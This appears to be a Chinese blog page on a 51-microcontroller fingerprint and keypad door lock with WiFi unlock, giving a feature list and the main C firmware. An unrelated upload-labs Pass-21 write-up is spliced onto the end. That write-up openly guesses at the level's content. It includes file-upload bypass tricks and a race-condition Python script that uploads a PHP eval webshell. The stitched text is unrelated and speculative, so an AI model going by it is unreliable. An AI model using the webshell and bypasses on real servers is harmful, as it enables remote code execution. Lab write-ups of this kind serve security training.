基于51单片机的电子密码指纹锁无线WiFi通信原理图PCB

本文介绍了一种基于STC12C5A60S2单片机的智能门锁系统,该系统集成了WiFi模块、指纹识别模块,并支持通过矩阵键盘设定密码。此外,系统还具备LCD1602显示模块,用于显示操作提示和状态。

功能介绍:
0.本系统采用STC12C5A60S2-35I作为单片机,因本系统需要使用WiFi模块和指纹模块,两者均是串口串口通信,89C52只有一路串口,因此无法满足需求,STC12C5A60S2-35I加强型51具备两路串口。
1.采用LCD1602液晶显示相关信息
2.密码可通过矩阵键盘设置,解锁支持矩阵键盘和指纹
3.支持WiFi通信解锁功能
4.采用DC005作为电源接口可直接输入12V给整个系统供电,系统具备12V转5V电源模块

原理图:
在这里插入图片描述
在这里插入图片描述

PCB:
在这里插入图片描述

主程序:

#include "main.h"

enum ModeFlag_Df modeFlag; //模式,正常开锁模式,设置密码模式,设置指纹模式
unsigned char stepCnt = 0;
char setIndex = 0;
xdata unsigned char dis0[16];
bit refreshFlag = 1;
unsigned char inpPasswd[4]; //输入密码
unsigned char Passwd[4] = {'0','0','0','0'}; //初始密码
unsigned char tempPasswd[4] = {'x','x','x','x'}; //临时密码
unsigned char tempEnable = 0; //临时密码使能
unsigned char isNewFlag = 1;

void main()
{
    LOCK = OPEN; //锁打开
    DelayMs(200);
    LOCK = CLOSE; //锁关闭

    LCD_Init(); //初始化液晶
    LCD_DispStr(0, 0, "    Welcome!    "); //液晶开机显示界面
    DelayMs(200);
    DelayMs(200);
    DelayMs(200);
    LCD_DispStr(0, 0, "   Waiting...   "); //液晶开机显示界面

    Uart2_Init();

    Uart2_Send_Str("AT+CIPMUX=1\r\n", 13); //打开多连接
	DelayMs(50);
	Uart2_Send_Str("AT+CIPSERVER=1,8080\r\n", 21); //建立服务 端口号为8080
    DelayMs(200);
    IE2 &= 0xFE;            //串口2中断关闭
    DelayMs(200);
    
    Uart1_Init();  //初始化串口
    DelayMs(200);

    EEPROM_Init();
    DelayMs(200);

    //EEPROM_WriteByte(IS_NEW_ADDR, 1);

    ReadPassword(); //初次使用时屏蔽此句
    if (isNewFlag != 0)
    {
        unsigned char i = 0;

        EEPROM_WriteByte(IS_NEW_ADDR, 0);
        for (i = 0; i < 4; i++)
        {
            Passwd[i] = '0';
        }
        WritePassword();
    }
    LCD_Clear();
    LCD_DispStr(0, 0, "Fingerprint Lock"); //液晶开机显示界面
//    DelayMs(200);
//    DelayMs(200);
    DelayMs(200); //延时500MS,等待指纹模块复位
    Device_Check(); //校对指纹模块是否接入正确,液晶做出相应的提示
//    DelayMs(200);
//    DelayMs(200);
    DelayMs(200); //对接成功界面停留一定时间
    
    LCD_Clear();
    LCD_DispStr(0, 0, "Enter pw or fp: "); //显示
    
    Timer0_Init(); //初始化定时器

    while (1)
    {
        if (refreshFlag == 1)
        {
            refreshFlag = 0;
            if (modeFlag == NORMAL)
            {
                if (stepCnt == 0)
                {
                    LCD_DispStr(0, 0, "Enter pw or fp: "); //显示
                    LCD_DispStr(0, 1, "                ");
                }
                TR0 = 0;
                IE2 &= 0xFE;            //串口2中断关闭
                CTRL_BY_FPM10A_Find_Fingerprint(); //搜索指纹
                IE2 |= 0x01;            //串口2中断打开
                TR0 = 1;
            }
            else if (modeFlag == OLD_PW)
            {
                if (stepCnt == 0)
                {
                    LCD_DispStr(0, 0, "Old Password:   "); //显示
                    LCD_DispStr(0, 1, "                ");
                }
            }
            else if (modeFlag == SELECT_PW_FP)
            {
                LCD_DispStr(0, 0, "A.Set Password  "); //显示
                LCD_DispStr(0, 1, "B.SetFingerprint");
            }
            else if (modeFlag == SET_PW)
            {
                if (stepCnt == 0)
                {
                    LCD_DispStr(0, 0, "New Password:   "); //显示
                    LCD_DispStr(0, 1, "                ");
                }
            }
            else if (modeFlag == SET_FP_SELECT)
            {
                IE2 &= 0xFE;            //串口2中断关闭
                Into_FP();
                IE2 |= 0x01;            //串口2中断打开
            }
            else if (modeFlag == FIND_FP)
            {
                IE2 &= 0xFE;            //串口2中断关闭
                FPM10A_Find_Fingerprint();
                IE2 |= 0x01;            //串口2中断打开
            }
            else if (modeFlag == ADD_FP)
            {
                IE2 &= 0xFE;            //串口2中断关闭
                FPM10A_Add_Fingerprint();
                IE2 |= 0x01;            //串口2中断打开
            }
            else if (modeFlag == DELETE_FP)
            {
                LCD_DispStr(0, 0, "   Empty All    ");
                LCD_DispStr(0, 1, "  A.Yes  B.No   ");
            }
            
        }

        IE2 &= 0xFE;            //串口2中断关闭
        Key_Process(Calkey_scan());
        IE2 |= 0x01;            //串口2中断打开

    }
}

void Timer0_Init(void)
{
	AUXR &= 0x7F;		//定时器时钟12T模式
	TMOD &= 0xF0;		//设置定时器模式
	TL0 = 0x00;		//设置定时初值
	TH0 = 0x4C;		//设置定时初值 50ms
	TF0 = 0;		//清除TF0标志
	TR0 = 1;		//定时器0开始计时
    ET0 = 1;        //开启定时器1中断
    PT0 = 1;
    EA = 1;  //总中断打开
}


void Timer0_Routine(void) interrupt 1
{
    static unsigned int time_50ms = 0;
    
	TL0 = 0x00;		//设置定时初值
	TH0 = 0x4C;		//设置定时初值 50ms
    
    time_50ms++;
    if (time_50ms > 5) //定时显示
    {
        refreshFlag = 1;
        time_50ms = 0;
        //BUZZER = ~BUZZER;
    }
    
}

void Open_Lock(void) //打开电磁锁
{
    LOCK = OPEN;
    DelayMs(250);
    DelayMs(250);
    LOCK = CLOSE;
}

void Into_FP(void)
{
    /**************进入主功能界面****************/
    if (setIndex == 0)
    {
        LCD_DispStr(0, 0, " *Search finger "); //第一排显示搜索指纹
        LCD_DispStr(0, 1, "  Add     Delete"); //添加和删除指纹
    }
    else if (setIndex == 1)
    {
        LCD_DispStr(0, 0, "  Search finger "); //第一排显示搜索指纹
        LCD_DispStr(0, 1, " *Add     Delete"); //添加和删除指纹
    }
    else if (setIndex == 2)
    {
        LCD_DispStr(0, 0, "  Search finger "); //第一排显示搜索指纹
        LCD_DispStr(0, 1, "  Add    *Delete"); //添加和删除指纹
    }
}

void ReadPassword(void)
{
    unsigned char i = 0;

    isNewFlag = EEPROM_ReadByte(IS_NEW_ADDR);

    for (i = 0; i < 4; i++)
    {
        Passwd[i] = EEPROM_ReadByte(PASSWORD_ADDR + i);
    }
}

void WritePassword(void)
{
    unsigned char i = 0;
    
    for (i = 0; i < 4; i++)
    {
        EEPROM_WriteByte(PASSWORD_ADDR + i, Passwd[i]);
    }
}

void Key_Process(unsigned char keyCode)
{
    static unsigned char count_num = 0;
    unsigned char i = 0;
    unsigned char j = 0;
    
    if (modeFlag == NORMAL)
    {
        if (keyCode == 'A') //设置键
        {
            modeFlag = OLD_PW;
        }
        else if ((keyCode >= '0') && (keyCode <= '9'))
        {
            stepCnt = 1;
            if (count_num <= 3)
            {
                inpPasswd[count_num] = keyCode;
                // LCD_DispOneChar((count_num+6), 1, inpPasswd[count_num]);
                LCD_DispOneChar((count_num+6), 1, '*');
                count_num++;
            }
            if (count_num == 4)
            {
                DelayMs(250);
                DelayMs(250);
                for (i = 0; i < 4; i++) //判断密码是否正确
				{
					if (inpPasswd[i] != Passwd[i])
						break;
				}
                
                if (tempEnable == 1) //可以输入临时密码
                {
                    for (j = 0; j < 4; j++) //判断密码是否正确
                    {
                        if (inpPasswd[j] != tempPasswd[j])
                            break;
                    }
                }

				if (i == 4 || j == 4) //密码输入正确
				{
                    if (j == 4)
                    {
                        
                        tempEnable = 0; //清空临时密码使能
                        for (j = 0; j < 4; j++) //判断密码是否正确
                        {
                            tempPasswd[j] = 'x'; //清空临时密码
                            //LCD_DispOneChar(0+j, 1, tempPasswd[j]); //显示状态
                        }
                        
                    }
                    LCD_DispStr(0, 1, "      Open      "); //显示状态
                    Open_Lock();
				}
                else
                {
                    LCD_DispStr(0, 1, "     Error      "); //显示状态
                    Buzz_Times(2);
                }
                DelayMs(250);
                DelayMs(250);
                stepCnt = 0;
                count_num = 0;
            }
        }
    }
    else if (modeFlag == OLD_PW)
    {
        if ((keyCode >= '0') && (keyCode <= '9')) //输入旧密码
        {
            stepCnt = 1;
            if (count_num <= 3)
            {
                inpPasswd[count_num] = keyCode;
                // LCD_DispOneChar((count_num+6), 1, inpPasswd[count_num]);
                LCD_DispOneChar((count_num+6), 1, '*');
                count_num++;
            }
            if (count_num == 4)
            {
                DelayMs(250);
                DelayMs(250);
                for (i = 0; i < 4; i++) //判断密码是否正确
                {
                    if (inpPasswd[i] != Passwd[i])
                        break;
                }
                if (i == 4) //密码输入正确
                {
                    LCD_DispStr(0, 1, "     Right      "); //显示状态
                    DelayMs(250);
                    DelayMs(250);
                    modeFlag = SELECT_PW_FP;
                }
                else
                {
                    LCD_DispStr(0, 1, "     Error      "); //显示状态
                    Buzz_Times(2);
                    DelayMs(250);
                    DelayMs(250);
                    modeFlag = NORMAL; //返回最初界面
                }
                stepCnt = 0;
                count_num = 0;
            }
        }
    }
    else if (modeFlag == SELECT_PW_FP)
    {
        if (keyCode == 'A')
        {
            modeFlag = SET_PW;
        }
        else if (keyCode == 'B')
        {
            modeFlag = SET_FP_SELECT;
            setIndex = 0;
        }
    }
    else if (modeFlag == SET_PW)
    {
        if ((keyCode >= '0') && (keyCode <= '9')) //设置新密码
        {
            stepCnt = 1;
            if (count_num <= 3)
            {
                Passwd[count_num] = keyCode;
                LCD_DispOneChar((count_num+6), 1, Passwd[count_num]);
                count_num++;
            }
            if (count_num == 4)
            {
                DelayMs(250);
                DelayMs(250);
                LCD_DispStr(0, 1, "      OK        "); //显示状态
                WritePassword();
                DelayMs(250);
                DelayMs(250);
                modeFlag = NORMAL;
                stepCnt = 0;
                count_num = 0;
            }
        }
        else if (keyCode == 'B')
        {
            modeFlag = SELECT_PW_FP;
        }
    } 
    else if (modeFlag == SET_FP_SELECT)
    {
        if (keyCode == 'A') //确认
        {
            switch (setIndex)
            {
            case 0: //搜索指纹
                modeFlag = FIND_FP;
                // FPM10A_Find_Fingerprint();
                break;

            case 1: //添加指纹
                modeFlag = ADD_FP;
                // FPM10A_Add_Fingerprint();
                break;

            case 2: //清空指纹
                modeFlag = DELETE_FP;
                // FINGERPRINT_Cmd_Delete_All_Model();
                break;
            }
        }
        else if (keyCode == 'B')
        {
            modeFlag = SELECT_PW_FP;
        }
        else if (keyCode == '*') //设置位置移动
        {
            setIndex--;
            if (setIndex < 0)
            {
                setIndex = 2;
            }
        }
        else if (keyCode == '#') //设置位置移动
        {
            setIndex++;
            if (setIndex > 2)
            {
                setIndex = 0;
            }
        }
    }
    else if (modeFlag == FIND_FP)
    {
        if (keyCode == 'B')
        {
            modeFlag = SET_FP_SELECT;
        }
    }
    else if (modeFlag == DELETE_FP)
    {
        if (keyCode == 'A')
        {
            LCD_DispStr(0, 0, "   Emptying     ");
            LCD_DispStr(0, 1, "                ");
            DelayMs(250);
            FINGERPRINT_Cmd_Delete_All_Model();
            FPM10A_Receive_Data(12);
            LCD_DispStr(0, 0, "   All empty    ");
            LCD_DispStr(0, 1, "                ");
            Buzz_Times(3);
            DelayMs(250);
            modeFlag = NORMAL;
        }
        else if (keyCode == 'B')
        {
            modeFlag = SET_FP_SELECT;
        }
    }

    if (keyCode == 'D')
    {
        modeFlag = NORMAL;
        stepCnt = 0;
        count_num = 0;
        setIndex = 0;
    }
}

实物演示视频:
https://www.bilibili.com/video/BV19r4y147zJ/

upload-labs 项目中,Pass-21 的解题思路主要围绕文件上传时的 **MIME 类型验证绕过** 和 **文件名解析漏洞利用**。虽然未在提供的引用中直接提及 Pass-21 的具体细节,但根据 upload-labs 系列的常见设计逻辑,Pass-21 很可能涉及以下攻击模式: ### 三级标题:MIME 类型验证绕过 在某些关卡中,服务器会通过检查上传文件的 MIME 类型来阻止非图片文件的上传。攻击者可以通过在上传请求中修改 `Content-Type` 字段来绕过该检查,例如将其设置为 `image/jpeg` 或 `image/png`,即使上传的是 `.php` 文件。这种方式常用于绕过前端或服务器端的简单 MIME 类型检测机制[^1]。 ### 三级标题:双重扩展名上传与解析漏洞 服务器端可能使用了不安全的文件名处理方式,例如仅过滤了 `.php` 扩展名,但未对多个扩展名进行处理。攻击者可以尝试上传类似 `shell.php.jpg` 的文件,随后通过某些方式(如 Apache 的解析特性)使服务器将 `.php.jpg` 文件当作 PHP 脚本执行。这种攻击方式依赖于服务器配置不当,例如 Apache 的 `mod_php` 模块会解析最后一个匹配 `.php` 的扩展名。 ### 三级标题:结合 .htaccess 文件实现解析绕过 如果服务器允许上传 `.htaccess` 文件,则攻击者可以上传一个自定义的 `.htaccess` 文件,配置其将特定扩展名(如 `.jpg`)解析为 PHP 脚本。例如,添加如下内容: ```apache AddType application/x-httpd-php .jpg ``` 上传后,再上传一个以 `.jpg` 结尾的 PHP 文件,服务器会将其当作 PHP 脚本执行。这种方式常见于 Linux 环境下的 upload-labs 关卡[^3]。 ### 三级标题:条件竞争与多线程上传 在某些情况下,服务器可能对上传后的文件进行异步检查或清理,攻击者可以利用时间差进行条件竞争攻击。通过并发脚本快速上传并访问恶意文件,从而在文件被删除前完成命令执行。例如使用 Python 脚本进行多线程上传和访问: ```python import threading import requests def upload_file(): url = "http://localhost/upload-labs-master/upload.php" files = {'file': ('shell.php', "<?php @eval($_POST['cmd']); ?>", 'image/jpeg')} data = {'submit': 'Upload'} while True: requests.post(url, files=files, data=data) def access_file(): while True: requests.get("http://localhost/upload-labs-master/uploads/shell.php") threads = [] for _ in range(10): t = threading.Thread(target=upload_file) t.start() threads.append(t) for _ in range(2): t = threading.Thread(target=access_file) t.start() threads.append(t) ``` 此脚本通过并发上传和访问,尝试在服务器清理文件前完成攻击过程。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值